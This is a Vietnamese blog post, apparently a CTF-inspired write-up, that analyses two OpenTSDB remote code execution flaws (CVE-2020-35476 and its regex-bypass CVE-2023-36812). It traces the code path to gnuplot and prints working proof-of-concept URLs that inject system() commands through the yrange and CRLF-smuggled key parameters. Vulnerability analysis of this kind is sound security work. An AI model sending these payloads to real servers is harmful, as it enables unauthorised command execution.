+9

OpenTSDB 2.4.0 & 2.4.1 Remote Code Execution

Vừa rồi mình có tham gia một giải CTF là BSidesTLV 2023 CTF. Trong đó có một bài web liên quan đến lỗ hổng RCE trong OpentSDB phiên bản mới nhất là 2.4.1 (CVE-2023-36812). Tại thời điểm đó chưa có một bài viết gì hay thông tin gì về CVE-2023-36812 ngoài việc nó là một cách bypass của lỗ hổng RCE trước đó của OpenTSDB 2.4.0 là CVE-2020-35476. Do đó bài viết hôm nay mình sẽ đi vào phân tích 2 lỗ hổng CVE-2020-35476 và CVE-2023-36812.

Setup debug

Để đơn giản mình sẽ sử dụng docker để tạo môi trường chạy OpenTSDB.

sudo docker run -p 4242:4242 -p 8000:8000  petergrace/opentsdb-docker

Trong đó port 4242 là port chạy OpenTSDB và port 8000 được sử dụng để remote debug.

Copy all jar file

Sau khi docker khởi động, chúng ta đi vào bên trong image và lấy hết các file jar của OpenTSDB ra.

mkdir /tmp/alljar
find / -name "*.jar" -exec cp {} /tmp/alljar \;

Sau đó copy ra bên ngoài máy tính và sử dụng intelij để debug

docker cp <container_id>:<đường_dẫn_đến_tệp_trong_container> <đường_dẫn_đích_trên_máy_thật>

setup remote debug trên opentsdb

Mặc định thì docker image mình để bên trên sẽ không có vim hay nano, chúng ta có thể thêm nano bằng câu lệnh sau

apk add nano

Sau đó chúng ta sẽ chỉnh sửa file /usr/local/bin/tsdb thành như sau

image.png

Tiếp theo ta cần restart lại OpenTSDB, sau khi tìm kiếm một hồi thì mình cũng chưa biết restart như nào nên mình chọn cách kill hết tất cả process đang chạy của OpenTSDB và start lại như sau

ps aux | grep tsd
kill <PID>
./start_opentsdb.sh

image.png

setup remote debug trên intelij

Chúng ta khởi tạo một project rỗng, sau đó thực hiện add các file jar ta đã lấy ra từ bước trên vào lib File -> Project Structure -> Libraries -> +

image.png

Sau đó chúng ta thực hiện cấu hình để remote debug (lưu ý port là 8000)

image.png

Cuối cùng bấm debug, nếu hiển thị như sau là đã setup thành công

image.png

CVE-2020-35476

Theo nguồn tại https://github.com/OpenTSDB/opentsdb/issues/2051. Chúng ta được biết poc sẽ như sau

http://localhost:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27touch /tmp/poc.txt%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

có thể thấy rõ ràng rằng command được chèn vào tham số yrange. Tuy nhiên khi chạy poc trên ta sẽ nhận được lỗi như sau:

image.png

Nguyên nhân là do chúng ta chưa tạo metrics có tên là sys.cpu.nice và chưa có dữ liệu trong metric đó. Dựa theo document tại http://opentsdb.net/docs/build/html/user_guide/quickstart.htmlhttp://opentsdb.net/docs/build/html/api_http/put.html ta thực hiện tạo mới metric như sau

/usr/local/bin/tsdb mkmetric sys.cpu.nice

Sau đó thêm dữ liệu bằng api như sau

Như vậy sau khi chạy poc trên ta đã tạo được 1 file poc.txt ở trong thư mục /tmp.

image.png

Bây giờ chúng ta cùng đi sâu hơn vào source code để hiểu hơn về cách xử lý của server.

Method popParam trong class GraphHandler thực hiện việc xử lý các param trên url. Đoạn code trong method trên đã thực hiện lọc kí tự back-ticks `.

image.png

Các param này sẽ được set cho 1 đối tượng Plot thông qua method setParams

image.png

Sau đó chương trình sẽ thực hiện method GraphHandler.doGraph và tạo một đối tượng RunGnuplot tại dòng 180

image.png

Cuối cùng chương trình thực hiện execGnuplot tại dòng 206

image.png

Nhảy vào method execGnuplot

image.png

Method này sẽ thực hiện excute trên đối tượng gnupot, mà this.gnuplot ở đây là một đối tượng của lớp ThreadPoolExecutor

image.png

Chi tiết đoạn code trên có thể hiểu như sau.

int var1 = Runtime.getRuntime().availableProcessors();

Dòng này lấy số lượng bộ xử lý (processors) có sẵn trên hệ thống. Phương thức availableProcessors() trong lớp Runtime trả về số lượng bộ xử lý có sẵn trên máy tính.

this.gnuplot = new ThreadPoolExecutor(var1, var1, 300000L, TimeUnit.MILLISECONDS, new ArrayBlockingQueue(20 * var1), thread_factory);

Dòng này khởi tạo một ThreadPoolExecutor mới.

  • var1 được sử dụng cho corePoolSize và maximumPoolSize, đại diện cho số lượng luồng (threads) tối đa có thể được chạy cùng một lúc trong ThreadPoolExecutor. Trong trường hợp này, số lượng luồng được sử dụng bằng số lượng bộ xử lý có sẵn trên hệ thống.
  • 300000L là thời gian sống tối đa của một luồng không hoạt động trước khi nó bị hủy bỏ (300000L milliseconds = 5 phút).
  • TimeUnit.MILLISECONDS chỉ định đơn vị thời gian cho các tham số liên quan đến thời gian.
  • new ArrayBlockingQueue(20 * var1) tạo một hàng đợi blocking có kích thước tối đa là 20 lần số lượng luồng (var1).
  • thread_factory là một đối tượng ThreadFactory được sử dụng để tạo các luồng mới trong ThreadPoolExecutor.

Tóm lại, đoạn code này tạo một ThreadPoolExecutor với số lượng luồng tối đa là số lượng bộ xử lý có sẵn trên hệ thống, sử dụng một hàng đợi blocking để quản lý các tác vụ và có thời gian sống tối đa cho mỗi luồng. ThreadPoolExecutor này có thể được sử dụng để thực thi các tác vụ đồng thời trong ứng dụng của bạn.

Quay lại đoạn code trước đó. Hệ thống gọi đến this.gnuplot.execute(var1); với var 1 là đối tượng RunGnuplot. Dòng này thực hiện thực thi đối tượng RunGnuplot (var1) bằng cách gửi nó vào ThreadPoolExecutor (gnuplot). Đối tượng RunGnuplot có thể là một tác vụ hoặc một công việc cần được thực hiện bất đồng bộ. Khi ThreadPoolExecutor gọi phương thức execute() và đối tượng được truyền vào sẽ được thực thi thông qua phương thức run() của đối tượng đó. Đối tượng này phải là một đối tượng implement interface Runnable, và phương thức run() trong interface Runnable sẽ được gọi khi nhiệm vụ (task) được chạy trong thread pool.

Khi bạn gọi execute() trên ThreadPoolExecutor và truyền một đối tượng implement Runnable, thread pool sẽ lấy một thread từ pool và gọi phương thức run() của đối tượng Runnable đó trong thread đó. Sau khi phương thức run() hoàn thành, thread sẽ được trả lại cho pool để sử dụng cho các nhiệm vụ khác nếu có. Nghĩa là RunGnuplot.run sẽ được gọi lên

image.png

Method này tiếp tục gọi đến this.excute và sau đó là GraphHandler.runGnuplot

image.png

Nhảy vào method runGnuplot

image.png

Tại đây đoạn code thực hiện ghi các biến vào file .gnuplot thông qua method dumpToFiles. File .gnuplot trông sẽ như sau

set term png small size 1516,644
set xdata time
set timefmt "%s"
if (GPVAL_VERSION < 4.6) set xtics rotate; else set xtics rotate right
set output "/tmp/afd24391.png"
set xrange ["972086400":"1603641404"]
set format x "%Y/%m/%d"
set grid
set style data linespoint
set key right box
set ylabel ""
set yrange [33:system('touch /tmp/a.txt')]
plot  "/tmp/afd24391_0.dat" using 1:2 title "sys.cpu.nice{host=web01, dc=lga}"

Trong tệp .gnuplot, lệnh system được sử dụng để thực thi các lệnh hệ thống từ trong mã nguồn gnuplot. Lệnh này cho phép bạn chạy các lệnh hệ thống bên ngoài từ trong môi trường gnuplot.

Tiếp theo tại dòng 525, chương trình tạo một process để sử dụng gnuplot thực thi file .gnuplot vừa tạo như sau

Process var6 = (new ProcessBuilder(new String[]{GNUPLOT, var1 + ".out", var1 + ".err", var1 + ".gnuplot"})).start();

Đến đây câu lệnh của chúng ta đã được thực thi và chúng ta đã đạt được RCE tại đây.

CVE-2023-36812

CVE này chỉ là bản bypass của CVE-2020-35476. Toàn bộ flow sẽ y hệt như phía trên. Cùng xem bản diff của 2 phiên bản 2.4.0 và 2.4.1 trên OpenTSDB

image.png

Vendor sử dụng regex để fix lỗ hổng RCE trước. Tuy nhiên regex này vẫn có thể bypass một cách dễ dàng. Ví dụ với regex filter biến key là

  private static Pattern KEY_VALIDATOR = Pattern.compile("(out|left|top|center|right|horiz|box|bottom)?\\s?");

Giải thích regex như sau

  • (out|left|top|center|right|horiz|box|bottom): Đây là một nhóm các từ khóa được liệt kê, trong đó chỉ có một từ khóa được chấp nhận. Cụ thể, các từ khóa trong nhóm này là: "out", "left", "top", "center", "right", "horiz", "box", "bottom". Ký tự | giữa các từ khóa đại diện cho sự lựa chọn, chỉ có một từ khóa được chấp nhận.

  • ?: Ký tự ? sau nhóm từ khóa là quantifier và có ý nghĩa tùy chọn. Nó chỉ ra rằng nhóm từ khóa trước nó có thể xuất hiện hoặc không xuất hiện trong chuỗi.

  • \s?: Đây là một ký tự whitespace \s theo sau bởi quantifier ?. Nó chỉ ra rằng ký tự whitespace có thể xuất hiện hoặc không xuất hiện trong chuỗi. Ký tự \ trước \s là để escape ký tự \ vì nó là một ký tự đặc biệt trong regex.

Như vậy để bypass regex trên ta có thể sử dụng payload như sau top%0d%0asystem('touch /tmp/poc.txt')

image.png

file .gnuplot được tạo ra như sau

set term png small size 1516,644
set xdata time
set timefmt "%s"
if (GPVAL_VERSION < 4.6) set xtics rotate; else set xtics rotate right
set output "/tmp/opentsdb/948e1a5.png"
set xrange ["972086400":"1603641404"]
set format x "%Y/%m/%d"
set grid
set style data linespoint
set ylabel "a"
set yrange [0:]
set key top
system('touch /tmp/poc.txt')
plot  "/tmp/opentsdb/948e1a5_0.dat" using 1:2 title "sys.cpu.nice{host=web01, dc=lga}"

image.png

POC:

http://localhost:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=a&xrange=10:10&yrange=[0:]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json&key=top%0d%0asystem(%27touch%20/tmp/poc.txt%27)

All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.